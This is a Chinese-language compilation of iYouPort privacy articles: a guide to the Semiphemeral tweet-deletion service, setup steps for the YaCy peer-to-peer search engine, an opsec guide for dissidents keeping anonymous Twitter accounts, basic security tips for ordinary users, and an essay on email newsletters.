除了测试设置的泄漏安全程度外，VPN 用户还需要阅读其 VPN 服务提供的文档和设置指南。最安全的协议是什么？该软件是否具有内置泄漏保护功能？kill-switch 怎么样？（VyprVPN 断开时用户可启用自动中止或阻止其网络连接的功能。在使用本地 VPN 服务时，钥匙图标或你的通知栏中的活动连接）

如果您使用由提供商提供的自定义 VPN 应用程序，它可能会内置泄漏保护，但情况并非总是如此。此外，一些提供商提供这些功能，但没有默认启用它们，因为它可能导致各种连接问题。另一些提供商则将其留给用户选择。这些都是应该考虑的事情。

如果有任何泄漏，请让您的 VPN 提供商知道。毕竟，他们有责任修复。

同样，torrent 用户应该记得测试客户端是否正确安装，并在那里测试泄漏情况。这经常被很多人忽略。

虽然检查泄漏是至关重要的，但在匿名时事情会变得更加复杂。

有些人非常专注于选择不记录日志的 VPN 来维护隐私，但随后又使用同一个 VPN 登录到Google，Twitter，Facebook 和其他服务。这就将 VPN 地址链接到他们的个人帐户了，在那里创建大量日志。而且还不用说这些服务收集和存储的其他隐私敏感和追踪数据。这么做是很危险的。

尽管大多数人并不担心这一点，但事实表明，即使 VPN 本身安全，完全的隐私或匿名也很难完成。

但底线是， VPN 和用户都应该保持警惕。 VPN 提供商应该负责防止或警告可能的泄漏，但是人们应该记住，如果用户没有正确设置或者以错误的方式使用它，那么“零日志”VPN 真的是毫无价值。

原文

使用 Semiphemeral 轻松自动删除旧的推文、点赞和DM - iYouPort

自我保护措施-技术技巧以防身

简单易用，任何人都可以使用，没有时间限制

「图」

「图」

两年前，也就是2019年，我们介绍过一个 Micah Lee 制作的工具，名叫 semiphemeral，见《清洁工具：自动删除您的旧推文，但您要保留的推文除外》。因为当时中文推特网络正在流传关于当局 “再再再一次将推文定罪” 的故事，人们纷纷寻求批量删除推文和锁定账户。

但在当时，Semiphemeral 这个工具只有那些书呆子可以使用。因为它需要在终端窗口中运行命令，创建自己的 Twitter API 密钥，如果您想自动化，还需要在服务器上设置一个cron作业。但现在不再这么复杂了！

在过去的几个月里，开发者一直在 Semiphemeral.com 上运行一个易于使用的托管版本。现在，任何人*都可以轻松地删除自己的旧推文、点赞、甚至包括私信（下文中将详细介绍）。

「图」

「图」

Semiphemeral 不为法西斯主义者服务

为了使用 Semiphemeral，您必须在Twitter上关注 @semiphemeral。但如果您是独裁者和反民主的煽动者、种族主义者、或其他类型的法西斯主义者的支持者，对不起您会被屏蔽，被屏蔽的用户没有资格使用 Semiphemeral。“每个人都应该在社交媒体上获得隐私，但不是每

个人都有资格通过使用这项免费服务来获得隐私”，这就是该工具开发者的立场。

当您开始使用 Semiphemeral 时，它会下载您的推文和点赞的历史记录。如果您在过去几个月内点赞了这些法西斯分子中的任何一个人的推文，你就会被自动屏蔽，并被取消使用该服务的资格（它会在几个月后会自动解除对您的屏蔽，以防您的想法在那之后发生变化）。

当然，这种算法很容易出现误报。很多完全理智的人都曾经点赞过比如特朗普的推文，不管是出于什么原因。所以，如果您被封杀了，而且你您点赞了少数几条法西斯主义推特，Semiphemeral 会让您自己解封，继续使用该服务。但如果您已经表现出明显的喜欢法西斯主义者在推特上吐槽的模式，如果您想投诉被封杀的状况，就必须写一封邮件。

开始

使用托管的 Semiphemeral 服务很简单。只要去 https://semiphemeral.com/，然后点击“用Twitter登录”。这将要求您允许 Semiphemeral.com 删除您的推文和点赞。

「图」

「图」

一旦您创建了您的账户，Semiphemeral 就会开始下载您的推文历史记录。根据您使用 Twitter 的时间长短，这可能需要很长的时间。Twitter 执行速率有限制，这意味着 Semiphemeral 将经常不得不停止并等待15分钟才能继续。

在此期间，您可以转到设置页面，完全按照您的意愿进行配置。下面是我的配置方式：

- 删除超过30天的推文，除非它们有至少20个转发或至少20个点赞；如果推文属于一个thread，其中至少有一条推文符合这些阈值，那就保留下；
- 删除超过30天的转发推文，删除超过60天的点赞；
- 删除超过14天的私信。

「图」

「图」

当它完成下载您的 Twitter 历史，@semiphemeral 将发送Twitter私信让您知道。

下一步是进入 Tweets 标签。这将向您展示所有不符合您在设置中的标准的推文，您可以选择排除其中任何一条推文的删除。例如，Semiphemeral 不会删除在消息应用 Keybase 上验证身份的推文：

「图」

「图」

当您选择了想要的设置，并选择了要手动排除哪些推文后，您可以回到仪表板，点击 “启动 Semiphemeral” 按钮。从这时开始，Semiphemeral 每天会下载一次您最新的 Twitter 历史记录，并根据您的设置删除旧的东西。

删除私信

Semiphemeral 基本上可以让推特私信变成阅后即焚 —— 短暂的时间后消失。当您删除**DM**时，您发送消息的人仍然可以阅读它，除非他们也删除它。

当您第一次登录 Semiphemeral 时，您就给了该应用程序删除您的推文的权限，但它无法访问您的DM。如果您想让它删除私信，首先您必须给它权限。您可以在 “设置” 页面的 “DM” 下找到授权 Semiphemeral 访问您的DM的链接。

「图」

「图」

还有一个问题。Twitter 只告诉 Semiphemeral 您最近30天的DM。正因为如此，Semiphemeral 不能自动删除您所有的旧DM，只能删除过去30天内的DM。例如，如果您配置它删除超过7天的DM，每次运行它都会删除30天前和7天前之间的DM。

但如果您有多年的DM想要销毁，不用担心，您仍然可以批量删除它们，只需要给 Semiphemeral 一个它们的列表。如果您去DMs选项卡，有关于如何做到这一点的说明。简而言之，您需要下载一份您的 Twitter 档案，然后它们将包含您所有历史DM元数据的文件上传到

Semiphemeral，然后它就可以删除您所有旧的私信了。

Semiphemeral.com 不会跟踪您

您可以在这里看到 Semiphemeral 的极短和易读的隐私政策，但重点是：该服务不使用任何分析软件、也不会记录IP地址，没有广告；它只是短暂地保存您的推文内容，但当它删除这些推文时，就会同时删除这些内容。它永远不会访问您的DM的内容。

它托管在美国的云主机提供商 DigitalOcean 上，并使用 Stripe 来处理可选的信用卡提示。

由用户的小费支持

Semiphemeral 是完全免费使用的。开发者在业余时间编写它，基本上只是想自己使用。目前花了大约60美元/月的费用来支付托管费（如果它变得更受欢迎，这个数额也会增加）。

如果您喜欢 Semiphemeral，可以通过给小费的形式来支持它（您可以在登录后看到小费选项）。〇

原文

使用开源搜索引擎自定义您的互联网 - iyouport

自我保护措施-技术技巧以防身

【2020年7月23日存档】一切都发生在您的电脑上。您不会再受到算法暴政的操纵、也不会有监视资本家偷走您的数据。

像 Google 这类搜索引擎显然是有效的；但是，出于隐私安全方面的考虑和保护免于被操纵的自由，或者因为您希望为互联网更加独立而做出贡献，您不会愿意使用 Google。

如果您是这样想的，那么可以考虑加入 YaCy，一个基于p2p的分布式开源免费的网页搜索引擎系统，任何人都可以用 **YaCy** 为自己建立个人的搜索门户，以实现信息的自由共享。

opensource.com 介绍了这件事可以怎么做。

安装 YaCy

「图」

要安装并尝试 YaCy，请首先确保已安装 Java。如果您使用的是 Linux，则可以按照《*How to install Java on Linux*》的说明进行操作。如果您使用 Windows 或 MacOS，请从 AdoptOpenJDK.net 获取安装程序。

安装 Java 后，请下载适用于您的平台的安装程序。

如果您使用的是 Linux，请解压缩 tarball 并将其移至 **/opt** 目录：

***$* sudo tar—extract—file yacy_*z—directory /opt**

根据下载的安装程序的说明启动 YaCy。

在 Linux 上：

$ /opt/yacy/startYACY.sh &

在网络浏览器中，导航到 **localhost:8090** 并搜索。

将 YaCy 添加到您的 URL 栏

「图」

如果您使用的是 Firefox Web浏览器，则只需点击几下，即可在 Awesome Bar 中将 YaCy 设为默认搜索引擎。

首先，将搜索栏显示在 Firefox 工具栏中（如果尚未显示）您不必使搜索栏保持可见；只需要激活它足够长的时间即可添加自定义搜索引擎。

导航至 **localhost:8090**，然后单击刚添加的 Firefox 搜索栏中的放大镜图标。单击选项将 YaCy 添加为您的 Firefox 搜索引擎。

完成此操作后，您可以在 Firefox 首选项中将其标记为默认，或者仅在 Firefox 搜索栏中执行的搜索中选择性地使用它。

P2P 搜索引擎如何工作

「图」

YaCy 是一个开源的分布式搜索引擎。它是用Java编写的，因此可以在任何平台上运行，并且可以执行Web爬网、索引和搜索。

这是一个对等（P2P）网络，整个网络是一个分散的架构，所有 peer 处于对等的地位，没有统一的中心服务器，每个 peer 独立地进行互联网的爬行抓取、分析及创建索引库，并通过p2p网络进行共享；而且每个 peer 又都是一个独立的代理服务器，能够对本机使用的网页进行索引，也通过本机运行的web服务器进行查询和返回结果。

它与 BitTorrent 非常相似（使用分布式哈希表/DHT），通过混合哈希表返回的结果，没人能知道是谁搜索了哪些单词，因此所有搜索在功能上都是匿名的。

YaCy 的防火墙设置

「图」

首次开始使用 YaCy 时，它可能在“初级”模式下运行。这意味着您的客户端爬网的站点仅对您可用，因为其他 YaCy 客户端无法访问您的索引条目。

要加入P2P体验，需要在路由器的防火墙中打开端口8090，也许还包括软件防火墙（如果正在运行的话）。这称为“高级”模式。

大多数路由器都提供了在防火墙中“戳洞”的选项，因为许多流行的联网游戏都需要双向流量。找到路由器防火墙的首选项后，将端口8090添加到白名单。例如这样：

如果路由器正在进行端口转发，则需要将传入流量转发到计算机的IP地址，使用相同的端口。例如：

如果由于某种原因无法调整防火墙设置也没关系，YaCy 将继续以初级模式运行作为一个P2P搜索网络的客户端。

自己的互联网

「图」

使用YaCy搜索引擎可以做的不仅仅是被动搜索。您可以强制抓取那些比较冷门的网站，可以请求对某个网站进行抓取，也可以选择使用 YaCy 进行本地搜索，等等。

简单说，您可以更好地控制您自己的互联网的外观。

安装只需三分钟。只需下载、解压缩该软件包并运行启动脚本即可。在 linux 上则需要 OpenJDK8。您不需要安装外部数据库或Web服务器，YaCy 中已包含所有内容。

在后台您能看到实时的爬虫情况，抓到了哪些结果、抓到了哪个网站、还有详细的可视化关系图谱。

除了个人电脑作为节点外，YaCy 也可以直接安装到服务器上，使用服务器不间断的抓取网站并向P2P网络共享搜索计算力和搜索结果，甚至可以直接绑定域名开展小型化的搜索服务。如果有资金，您还可以借此打造一个新的中文搜索引擎品牌，让百度失去主导地位，因为 YaCy 是开源的。

总之，高级用户越多，索引的网站就越多；所有用户的体验就越好。现在的状况是中文内容很少，因为中文用户太少了。所以，欢迎中文用户更多加入。〇

Customize your internet with an open source search engine

原文

使用社交媒体时你必须注意什么？ — — 更安全的抵抗 - iyouport

你的反乌托邦在线生活阴云密布自我保护措施-技术技巧以防身

【2018年11月29日】IYP 一直在强调，异议和反对是完全不同的。做异议非常简单，你只需要说出“我不同意什么”；而反对，您就需要更多更充分的技巧和技术能力，IYP一直在介绍这些知识。而其中最为基础的就是：保护自己的能力。我们今天就来说说这件事

参与政治活动、甚至仅仅是关心政治话题，在这个时代都有可能迅速令你面临风险，包括并不限于生活、职业、工作和人身安危，并且审查红线是模糊的，大多数情况下你可能完全不知道自己究竟哪一句话招致了灾难。中国读者应该对此深有体会。

事实上，这种局面在全球所有国家都一样。最初被大众捧为变革契机的社交媒体，事实上只是个巨型的监视器，而且是史上最具侵入性的监视器。之所以变成这样，很大程度上是由于有太多人不重视使用社交媒体的基本安全性。

在中国，关注隐私安全的人们已经开始嘲笑那些追求上网实名制的异议人士，但似乎整体上没有什么改观，或者为时已晚；更为重要的是，仅仅换一个化名是远远不够的，社交媒体有太多数据可以轻松确定你的身份。并且，对这些数据调用以跟踪异议人士、活动家和记者等敏感群体的政府行为，一直都在全球各个国家通用。

民主国家也一样。我们已经介绍过很多国家的案例，尤其是美国，各大硅谷巨头是情报机构最强有力的监视工具，如果您还记得棱镜文件中所展示的内容，此处无需赘述（在这里看到棱镜文件全部存档）。那已经是十年前了，而如今，这些伎俩只会更为加强，且更难以获得披露。

鉴于中国当局非常善于模仿、并且严重不透明，大型科技公司同样严重不透明—所谓的透明度报告早已形同虚设—不只有 BAT，还有美

国硅谷巨头公司对中国市场的垂涎，中文用户真的非常有必要提高警惕，这也是 IYP 一直采取的方案，即 根据全球不同国家出现的监视追踪案例和最新间谍跟踪技术的披露，将其全部假设为中国也会使用。借此思考应对方案，以便在最大程度上避免措手不及。

重要的是，要意识到这些担忧都是真实的，并且仅仅 IYP 单方面就已经收集到不止一例关于中国用户在 Twitter 发言而导致的被当局传唤、要求删帖，甚至要求注销账户。

但是，任何时候，公开的抗议对于政治合法性来说都是至关重要的，信息的流通对公民行动和认知具有决定性意义。自我审查是必需被否定的，我们的目标应该是自由的发言、无障碍的信息交互、无跟踪的网络动员和集结、以及每个人的安全。

如您所知，我们一直在支持去中心化网络模式，鼓励人们离开这些不透明的巨头提供的服务。但我们知道，这很可能是个长久的工作，集中化巨头的服务已经深入每个人生活的方方面面，习惯是顽固的和难以改变的（我们将在后面的文章中详细分析这些问题）。于是，短期内急需提请所有人关注的重点就是，继续使用 Twitter 等服务时，您最基本应该注意什么。

我们依旧相信在线动员和联合的效率将远高于线下，并且希望能充分利用互联网这一能力。如果您是正义之士，本文以及 IYP 的诸多文章，对您来说会非常重要。

本指南希望有助于降低个人所面临的人身风险，同时赋予人们安全行动的能力。

互联网没有国界，技术没有国界，这些保护方案在所有国家都是通用的。

安全的基本原则

操作安全性的基本原则实际上非常简单，就是我们常说的三个C：

- Cover
- Concealment
- Compartmentation

当然，还有更多更为严肃的反间谍技巧，我们曾经介绍过一些，但要记住这三个概念，它们是最基本的、也是必需的。其中最重要的是 compartmentation 和 concealment，在实践中，这意味着您需要将您

的具有敏感性的社交媒体帐户与您的个人真实生活完全分开。

区域化规则

1、🔐要—— 为此敏感 Twitter 帐户专门创建一个新的唯一电子邮件地址。这里有很多选择，但请认真考虑使用非本土服务；访问此帐户时始终使用 Tor，除了发布异议和反对信息或观点之外，永远不要使用它发布其他内容。这不是废话，我们曾经观察到有中文 Twitter 用户在简介中写着自己的 QQ 号、手机号、163邮箱。这是很危险的。

- 延伸阅读：《使用 **Tor** 保护自己时千万不要做这九件事！》

2、🔐要—— Twitter 是一个收集电话号码的蠢货，你很难在不提供电话号码的情况下使用它。您需要一个一次性的预付费电话，或获得一次性 VoIP 号码。这种方法对于其他需要关联手机号的通讯应用也都需要，详见下文：（如果您在美国的话，我们严重不建议使用谷歌语音，因为已经有很多案例显示它容易很受到州级政府的攻击，其他服务也有可能）

- 延伸阅读：《🔐 如何在不必暴露真实电话号码的情况下使用 **Signal**》

3、🔐要—— 使用 Tor 创建您的 Twitter 帐户，以及对 Twitter 帐户的所有访问权限；IP 地址以及 cookie 和其他跟踪器，Twitter 都有；这些数据也可被调查记者和媒体使用。

4、不要**!**—— 不要使用您的智能手机 Twitter 应用程序登录该帐户。否则 IP 地址将直接链接到您的电话帐户，并且您将面临通过技术手段被曝光的高风险；如果您必须在手机上使用 Twitter，请将其设为仅适用于该帐户的专用手机，而没有其他信息（如个人通讯录、照片等）；此外，Tor 的安卓版已出，它是个好主意，IOS 版很快会能实现；如果你是技术人员，我们推荐 **Algo;** 如果不是技术人员，那么请使用 **Freedome**，都可以尽量减少暴露。

5、不要**!**—— 该敏感账户不要响应 DM 或直接回复，特别是如果有 URL 的话（可用于捕获您的 IP 地址）甚至利用您的设备。说真的，不要点击通过@或 DM 发送给你的链接，特别是短链接。不过值得指出的是，Twitter 上的所有网址都是通过 Twitter 自己的 t.co 缩短和分析重定向的，因此即使来自已知且受信任的“安全网址”也会暴露帐户 IP。

6、不要❗—— 不要让这个敏感账户与您的个人帐户或与您相关联的其他人的帐户进行互动。一般来说，尝试维护单一的信息流，将数据推送到公众，不参与讨论或在帐户上涉及任何有可能关系到“私人”的信息。Twitter 上没有隐私，与你成为朋友的人也可能是被派去监视你的人。您不需要增加这样的风险。如果您还不理解这点，下面这篇文章中有一个案例：

- 延伸阅读：**Facebook** 钓鱼的“朋友” 《人性弱点》

7、不要❗—— 不要让这个敏感账户关注您的私人账户，或者任何与您有关联的账户，如果必需关注一些账户的话，仅仅关注通用账户，比如认证媒体和组织。

8、不要❗—— 不要从您的敏感帐户中推送“个人”照片。这包括屏幕截图、或任何个人性质的内容！如果需要包含图片，请将其裁剪，以便无法看到网络或其他浏览器标签等重要细节信息。任何时候，上传之前抹去元数据！

9、不要❗—— 请确保您的头像不是您的自拍或者您的亲属和亲密朋友的照片；确保简介信息与您私人没有任何关系。

隐藏规则

1、不要❗—— 不要向任何人展示或介绍你的活动，甚至不要提示这点。无论你在私人生活中采取什么样的公开立场，例如参加游行或集会、签署请愿书、或参与抵抗运动，都不要告诉任何人关于你的这个敏感 Twitter 账户。是任何人！包括你的伴侣、你的孩子、你最好的朋友和同事，保密的第一条原则就是保守秘密。

2、不要❗—— 任何时候不要使用工作单位的计算机（和单位的网络！）登录这个敏感账户。因为你无法控制它们，它们可以在未经你许可的情况下被查封和搜查；它们也有可能正在运行由您的公司/代理商安装的间谍软件，来监控您的活动，并确保您不会浪费时间在 Twitter 或 Medium 等网络应用上。所以它也能发现你正在做什么。

3、🔐要—— 通过启用全盘加密、使用强密码、使用密码管理器（在本地存储数据，而不是在所谓的云中存储数据）来保护您的设备；快速安装补丁；如果违反了上述建议您实际在使用智能手机操作您的敏感 Twitter 帐户—请勿使用指纹解锁和面部解锁！

4、🔐要—— 在操作敏感账户时，改变您的写作风格。感叹词、破折

号、惊叹号、省略号等等细节的频率，都有可能暴露您的身份。还记得我们推荐过的知识吗，关于通过行文推测笔者身份的技巧，这是行为心理学的一个基本功。它并没有你想象中那么复杂，大多数做过十年以上编辑工作的人都能自动获得这种能力。

5、不要**!**—— 不要使用这个敏感账户与您的任何朋友互动、包括任何熟人，不要让该账户与您的任何真实生活发生哪怕一点点联系。时刻记住，有人在长期暗中观察该账户，搜罗这些细节信息，此人就是有能力把你扔进监狱的人！

至少应该知道：**Twitter** 的风险

作为一种 Web 服务，Twitter 收集（并从数据代理商处购买）有关其用户的大量信息。这些信息将通过传票和老式渠道提供给当局，在某种程度上也可供公众使用。

至少在美国，看看情报机构能拿到什么；

- 姓名
- 地址
- 服务年限
- 从开始到现在的所有服务（和帐户）的交易记录

以上只是*至少*，Twitter 可用的其他信息还包括：

- 物理位置
- IP地址
- 浏览器类型
- 引用域名
- 与广告的互动（收集更多数据）
- Cookies

甚至 **DM**！您认为私信的安全的？才不是，已经有发生的美国的案例显示，当局拿到了 **Twitter** 私信的信息，并以此作为证据缉拿目标人。这些信息将永久存储在 Twitter 上，并可由法律机构随时收集。

必须知道，当局想要一切，所有历史数据，随时。 FBI 在处理 Tor 方面具有丰富的专业知识，能迅速处理已知的 Tor 出口节点；任何 VPN 都将以交换其信息为目标，这可能包括易于被识别的账单数据；在私有主机（例如 Algo 或 Streisand）上运行 VPN 之后将是来自服务器提供商的数据请求—再次，结算记录和用于创建帐户的 IP 地址

将是最严重的威胁。下面是一个典型案例：

- 延伸阅读：《**VPN？入侵？比特币？俄罗斯攻击者究竟是怎么被发现的？**》美国情报部门的这些能力，中国当局都有！

技巧的获得重在实践

和我们曾经推荐过的所有知识技巧一样，我们严重鼓励人们去实践，因为单纯阅读是无法掌握它们的，知识不可能做到100%传播，大部分知识需要您通过实践自己总结，那些无法言说的部分价值会更大。

> *Amateurs practice until they get it right, professionals practice until they can't get it wrong*

这些知识包括很多复杂的操作规则和指南，你必须严格遵守这些规范，如果你不希望自己遭受危险的话。如果您能在实践中学习，您的错误将极大程度上减少。所以，您最好在非敏感帐户上执行这些规则，并保持这些规则，直到熟练地使用它们。确保你对结果感到满意，知道如何使用这些工具，了解你应该做什么以及为什么做。

应该知道，抵抗者前辈们有句俗语：第一个错误就是最后一个错误。因为你没有机会再来一次的，当你违反安全规则并导致被发现和曝光时。

你是抵抗者，你需要确保可以熟练使用安全工具并且不会出错——所以，先在安全的地方练习，将新手级的错误排除在外，然后在重要的地方安全地实施和操作。

破坏安全的对手

有许多主要对手很容易导致帐户用户的去匿名化。这些包括并不限于：

- 社交媒体
- 电子邮件/电话，链接到该帐户
- 执法者（或其他国家的国家权力）
- 新闻媒体/调查记者
- 同事/朋友/家人

显然，上述每一种安全对手的能力、意图和机会都不同，需要不同的技术来防止暴露，以保护自己。虽然面对如此大的侦查力量似乎令人生畏，但你必须有很大程度的控制。并且，其中大部分都并不费力，

虽然长时间保持强大的安全状态需要专心致志。

于是你 🔐需要—— 请记住，大部分时间里，专制政权都不会为追踪小鱼苗而烦恼。除非你被认为是“一个问题”，否则维稳经费不大可能专门花在你身上。但是你究竟是“大”还是“小”，我们无法判断，在不同国家有不同的判断方法，在中国，您需要咨询一些有经验的人。

但是，大多数时候，对你来说最大的威胁很可能只是因为你说得太多了，而且经常通过不靠谱的渠道说话，你说得越多，监视你的人就越了解你，越容易关注你，并找到你对当权者来说“存在危险”的证据。

对事物的恐惧比事物本身更糟糕，所以我们尽量不要强调它。我们要把重点放在安防习惯上，而不是加深你的恐惧。

心理健康风险

这也与安全有关？是的，而且关系很大！

一旦掌握并严格实施了技术保护和安全程序，您将面临的最大威胁就是您自己。

创建和维护一个秘密身份可能会很令人紧张，需要开发一种分隔的身份，一个残缺的自我，破碎的自我。从长远角度上看，这对你的心理健康来说是非常痛苦的，这就是为什么做间谍工作的人需要花费大量时间进行心理咨询—— 让心理学家为他们提供可以自由地谈论自己和自己关注的东西的唯一安全之所。

你有必要认真考虑一位专业的心理学家，在那里你将受到高度保密级的保护，你将能够自由地谈论你所承受的压力。

我们一直在考虑为异议人士提供这类心理咨询服务，尤其是中国的异议人士已经普遍表现出虚无主义和焦虑症迹象的情况下。可惜目前为止都没有能让这一群体掌握基本安全通信知识和习惯，于是很难接触到他们。

如果您对此有更好的见解，欢迎通过安全方式与我们联系。

我们非常推荐来到去中心化 Twitter 替代品：Mastodon。**IYP** 的 **Mastodon** 账户：**@iyouport@cmx.im** 随时等你！

原文

像普通人那样保护您的数字生活安全 - iyouport

自我保护措施-技术技巧以防身

【2018年7月9日存档】这些是你现在就可以做的事，不花钱，不费力。

我们一直注重讨论风险群体如何管理他们的信息安全。记者和人权群体往往是黑手的重点目标，从事这些工作的人们在长期磨砺中基本都掌握了一定程度的安全知识，并能熟练使用它们以保护自己（做不到的人基本全在监狱里了）。

对风险群体的要求应该更高，当你被成为监视操纵的重点目标时，对手肯定会千方百计。那么，作为一个普通人，您应该如何注重数字安全呢？

如果您与大多数安全专家交谈这个问题，他们基本会退后一步回答："这取决于您的数据威胁具体是什么？"专家知道该如何对潜在风险进行分析，以及对对手的能力进行研究。

你可以复述我们曾经介绍过的所有安全技术和相关方案，看起来足够回答这个问题了。但无法确保对每一个人都真的实用，为什么？因为不总是有明显的迫在眉睫的威胁。相反，普通人通常会有一般化的问题需要一些通用的解决方案。

这些普通人在某种程度上都会关注自己的在线隐私和安全问题。他们知道应该做些什么来改善安全状况，但是又不想花很多时间在这上面，并且没有详尽的知识告诉他们该如何做。

他们使用由 Microsoft，Apple 和 Google 创建的专有操作系统和硬件；也可能正在使用 Mozilla 的 Firefox，谷歌浏览器，Safari，Microsoft Internet Explorer 或 Edge。他们可能会运行防病毒软件，向朋友和家人寻求特定安全问题的帮助。

你一定认识这样的人。他们基本是大多数。

对于有特定安全问题的记者和其他用户来说，有很多资源可以帮助保护在线安全。各种国际权利组织一直致力于推荐和开发类似工具。相反，本文想说说作为一个普通人可以采取哪些步骤，以改善您的安全状况。

简单说就是，你现在就可以做的事，不花钱，也不难。

入门：浏览网页时更安全

使用 Firefox 访问，帮助您在浏览网页时改善隐私的浏览器扩展程序。

- 扰乱在线跟踪。广告商会自动将文件（称为 cookie）放在您的浏览器上，以跟踪您的在线动作。您可以使用适用于 Firefox 的 Privacy Badger，以阻止跟踪 Cookie。相关插件还有不少，很容易搜到，应该重视它们的价值。
- 下载 HTTPS Everywhere，确保您打开的所有链接都将自动连接到大多数网站的安全版本。
- 广告是最普遍的商业模式，但广告可用于向用户传递恶意软件。为了防止这种东西，您可以使用适用于 Firefox 的 uBlock Origin 以阻止潜在的恶意广告。当然，您还可以为您信任的网站保留广告。
- 公共 Wi-Fi 很方便，你几乎可以在任何地方找到。同时它非常危险，它允许网络上的其他用户看到您的不安全的Web流量。例如，如果您正在阅读 http 的网页，连接未加密，那么在连接到开放式 Wi-Fi 网络时请使用 VPN。这里有挑选安全的 VPN 方案。
- 无论是通过 IP 地址，还是浏览器广播的信息，大多数人都可以在线被识别身份。当然我们要推荐下载 Tor 浏览器以匿名方式连接。如果您使用 Firefox 浏览器，您可能已经习惯了使用基于 Firefox 构建的 Tor。这里是使用 Tor 的时候的注意事项，一定要仔细阅读。并需要知道，网络窃听者仍然可以看到你正在使用 Tor — 他们只是无法分辨你在 Tor 内做了什么。对普通人来说这就足够了。
- 使用好的防病毒软件。这里有一些开源防毒软件推荐。

下一步：加密全部

加密的重要性就不必多说啦，多年来你能看到那些当权者对加密有着多么强烈的反对态度，这正是有效加密的价值所在，因为那些窥视者的确很难看见你了。

- 加密您的硬盘。如果您的设备丢失或被盗，窃贼很容易从硬盘上取下数据。iPhone 就不说了，如果您的设备是 Android，也可以轻松加密手机。当然一些 Android 手机（Pixel 和一些 Nexus 设备）默认是加密的。对于您的笔记本电脑或台式机，可以使用操作系统的本机软件加密硬盘：FileVault for Mac 或 Windows 上的 BitLocker。
- 如果您担心手机对话的隐私，请下载适用于 iOS 或 Android 的 **Signal**，以便与朋友安全通话和交换消息。最好推荐您的朋友也使用 Signal，对所有人的安全性都很有帮助。
- 如果您使用 Apple 设备，默认情况下，iMessage 和 FaceTime 会加密与其他 **Apple** 用户的对话。如果您使用 SMS 与其他平台上的用户交谈，那么这些消息不受保护。

有点麻烦，但很重要：验证登录

密码在多数时候都是攻击入口。如今管理密码比以前变得更繁琐了，但绝对是值得的。

- 使用密码管理器。每个人都知道为所有东西使用相同的密码会比较容易记住，但这样做是非常危险的。如果记不住那么多密码，像1password 或 LastPass 这样的密码管理器可以帮助随机化强密码并安全地存储它们。使用此类软件随机化并快速填写您的唯一密码。
- 仅仅密码强大是不够的。两步验证也很值得推荐。拦截手机短信的做法一般针对的都是特定目标，普通人应该不必担心两步验证的短信信息被窃取。

以上只是一些最简单的提示，几乎每个人都应该做的自我保护，即便你不是敏感人士。

但如果你喜欢浏览政治新闻和参与评论、支持任何人权项目、或者你是记者并希望尽职尽责……那么以上方法并不是太充分。您需要密切关注相关资讯，倾听安全专家的分析，并尽可能采取这里介绍的技术和工具，更充分的保护自己。

不要忘记自己电脑中的软件。如果你安装的是硅谷巨头和 **BAT** 制造的非自由软件，它肯定会定期监视你。因为它由一家公司控制，公司需要盈利，他们就会毫不犹豫地监视你。相反，自由软件由用户控制。该用户社区保持软件诚实。

这就是数字世界的公民社会。

不要指望当权者为你做什么，他们正在从这类大规模收集中获利呢。幸运的是，我们可以自己保护自己，当我们成功时，就是见证当权者和所有偷窥者失败的时刻。

原文

创新的复古 - iYouPort

互联网自由-Resist自我保护措施-技术技巧以防身

没有垃圾信息、没有机器人和Trolls的轰炸、没有各种监视器窥视你的隐私，最重要的是，你的时间真的属于你，而不是被偷走帮那些寡头赚钱。事实上做到这点并不难，如何？

「图」

「图」

我最喜欢的新社交网络不会通过通知向我发送垃圾信息；当我发帖时，我不会被机器人和Trolls轰炸；在我使用它之后，不会担心有定向广告在时刻窥视我的隐私。

那是因为我的新社交网络是电子邮件通讯。每个星期左右，我都会向几千名已经报名参加我的思考的人发起冲击。他们中的一些人会发回电子邮件，偶尔会引发深思熟虑的对话。这一方法仍然在实验的早期，但我想我喜欢它。

电邮通讯不是一个新现象。但是那些对社交媒体不感兴趣的人越来越感兴趣的是作家 Craig Mod 称之为“世界上最古老的网络发布平台。”对于我们来说，收件箱正在成为比新闻更具吸引力的媒体资源。

向 newsletters 的转变是更广泛变革的一部分。多年来，Facebook 首席执行官马克·扎克伯格（Mark Zuckerberg）要求我们所有人生活在一个更“开放的、互联”的世界版本中。我们中有数十亿人在社交网络上发布状态更新、照片和视频，并涌向 Twitter 等其他服务，在那里我定期发布有关我心情的消息还有宠物照片。

现在，我们中的更多人正在转向私人共享模式：Slack 群组而不是推文; 加密的 Signal 消息而不是状态更新。

即使是公众分享的巨头也已经意识到这种转变。三月初，扎克伯格表示 Facebook 将在未来”专注于私人谈话而非公开发布”。

对我而言，这种变化发生得很慢，但其原因是明白无误的。每次我在 Twitter 上，我都会感觉更糟。我担心自己与手机连接过多、太过于注重转瞬即逝的快讯，最终什么都没能留下。一位同事创建了自己的数字排毒计划，以减少智能手机成瘾。我认为他做出了正确的选择。

现在，当我觉得有人想要发表我认为值得阐述的想法的冲动时，我将其保存到我的时事通讯“The Dump”中（一个准确描述我的脑海中溢出的东西）。它比在我的 Facebook 页面上调解亲戚之间的政治斗争或解码最新的 Twitter 粉尘更有趣。

像 Substack 和 Revue 这样的初创公司已经出现，以满足这种与网上直接联系的愿望，而不会有 Twitter 或 Facebook 提供的噪音。他们通过简单地创建简报、提供简单易懂的写作程序、以及对正在阅读的内容的见解来实现这一目标。（我使用 Substack，当我的写作很糟糕时，我倾向于立即发现问题所在，无论是通过公司的分析系统，还是通过读者电子邮件，敦促我不要太奇怪）

Substack 的首席执行官克里斯托弗·贝斯特（Christopher Best）表示，该公司的创作是由我所拥有的感受驱动的。“我们都感受到传统社交媒体越来越绝望，”他说。“Twitter，Facebook 等等—他们都激励了某些消极模式。”

创业孵化器 Expa 的企业家和合伙人 Naveen Selvadurai 说，这些品牌主要向大众宣传生活方式内容，针对城市居民的可支配收入，并吸引数百万美元的风险投资。

最近，媒体创业公司如 The Skimm，由两位前 NBC 制作人发起的每日时事通讯，已从数十名读者发展到数百万人（“纽约时报”是 The Skimm 的少数投资者之一）Axios 进军时事通讯市场，专注于政治和商业。其他大型媒体公司- -Vox，BuzzFeed，CNN—也已经抓住了这一趋势，因为他们寻求与读者建立更深厚的联系。

对于那些与社交网络关系恶化的主要出版商来说，**newsletters** 可能是一种更可靠的手段来增加读者群。还记得 Facebook 何时不再在平台上宣传视频了吗？或者当它决定展示来自朋友和家人的更多帖子，并且不再强调来自发布商和品牌的内容时？随着每一次市场的转变，大媒体公司都必须进行调整。

“出版商已经了解社交媒体流量的无价值性，”Revue 的首席执行官 Martijn de Kuijper 表示。

